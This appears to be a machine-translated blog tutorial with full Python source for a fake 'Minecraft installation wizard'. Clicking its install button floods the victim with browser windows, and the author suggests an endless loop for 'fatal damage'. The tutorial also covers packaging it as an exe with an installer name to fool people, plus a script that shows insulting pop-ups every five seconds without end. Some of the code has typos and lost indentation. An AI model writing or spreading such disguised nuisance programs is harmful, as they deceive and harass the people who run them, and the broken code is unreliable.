コンピュータでソフトウェアをダウンロードする場合、インストーラが使用されるため、これを使用してなりすましプログラムを作成できます。
1. コードの書き方
1. ウィンドウの設定
まず、tkinter を使用して簡単なインストーラー インターフェイスを作成しましょう (Minecraft を例にします)。
import tkinter as tk
from tkinter import messagebox
import tkinter.messagebox
import webbrowser
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))
text.pack()
操作結果:
次に、いくつかのボタンとアイコンを追加します。
import tkinter as tk
from tkinter import messagebox
import tkinter.messagebox
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window.iconbitmap("icopic.ico")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))
text.pack()
def click_button():
# 使用消息对话框控件,showinfo()表示温馨提示
tkinter.messagebox.showinfo(title='温馨提示', message='想得美')
# 点击按钮时执行的函数
button = tk.Button(root_window,text='开始安装',bg='#7CCD7C',width=8, height=1,command=click_button).pack()
root_window.mainloop()
結果:
2. 無制限にウェブサイトを開く
このプログラムでは Minecraft を実際にインストールすることはできませんが、インストール Web サイトを開いて自分でインストールできるようにお手伝いします。
Web サイトを開くプログラム:
import webbrowser
for x in range(50):#打开网页的个数
webbrowser.open('http://dbrg.tianjimedia.com/sem/childbd/f527.html?sfrom=206&TFT=2&DTS=1&keyID=70193&bd_vid=10492788977809859329')#网址
冷酷な場合は、「for x in range(50)」を「while True」に置き換えると、相手に致命的なダメージを与えることができます
2. 包装
具体的な方法については、この記事の最後の部分を参照してください。
Python スプーフィング コード 1: 「ランダム ポップアップ + 警告ウィンドウ + シャットダウン」のごった煮
注意すべき点は、pyinstaller を使用して exe ファイルをパッケージ化した後、ico アイコンを exe と同じフォルダーに配置する必要があることです。そうしないと、エラーが報告されます。exe ファイルに xxx インストール ウィザードという名前を付けると、効果が向上します。 !
ソースコード:
import tkinter as tk
from tkinter import*
from tkinter import messagebox
import tkinter.messagebox
import webbrowser
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window.iconbitmap("icopic.ico")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))
text.pack()
def click_button():
# 使用消息对话框控件,showinfo()表示温馨提示
tkinter.messagebox.showinfo(title='温馨提示', message='想得美')
for x in range(50):
webbrowser.open('http://dbrg.tianjimedia.com/sem/childbd/f527.html?sfrom=206&TFT=2&DTS=1&keyID=70193&bd_vid=10492788977809859329')
# 点击按钮时执行的函数
button = tk.Button(root_window,text='开始安装',bg='#7CCD7C',width=8, height=1,command=click_button).pack()
root_window.mainloop()
使用した画像:(png形式)
ico を変換するには、次の URL にアクセスします: ICO Converter — Convertio。icopic.ico という名前を付けることを忘れないでください。
3. ランダムな悪意のあるポップアップ
コードをすぐ下に示します。
import tkinter.messagebox
import random
import time
words_1=['你是一个','哈哈哈哈哈哈哈哈哈哈哈哈']
words_2=['傻狍子','善良的人','SB','傻子','猪']
while True:
ch_word1=wordS_1[random.randint(0,1)]
if ch_word1==words_1[1]:
tkinter.messagebox.showinfo('info',ch_word1)
time.sleep(5)#等待的时间
else:
ch_word2=word_2[random.randint(0,4)]
end=ch_word1+ch_word2
tkinter.messagebox.showinfo('info',end)
time.sleep(5)
このプログラムの特徴は、exe または pyw ファイルにパッケージ化した後、閉じられない場合、5 秒ごとにランダムな情報を含むポップアップ ウィンドウが表示されることです。ここでは、ランダムな情報はあまり書かず、展開することができます。それは自由です。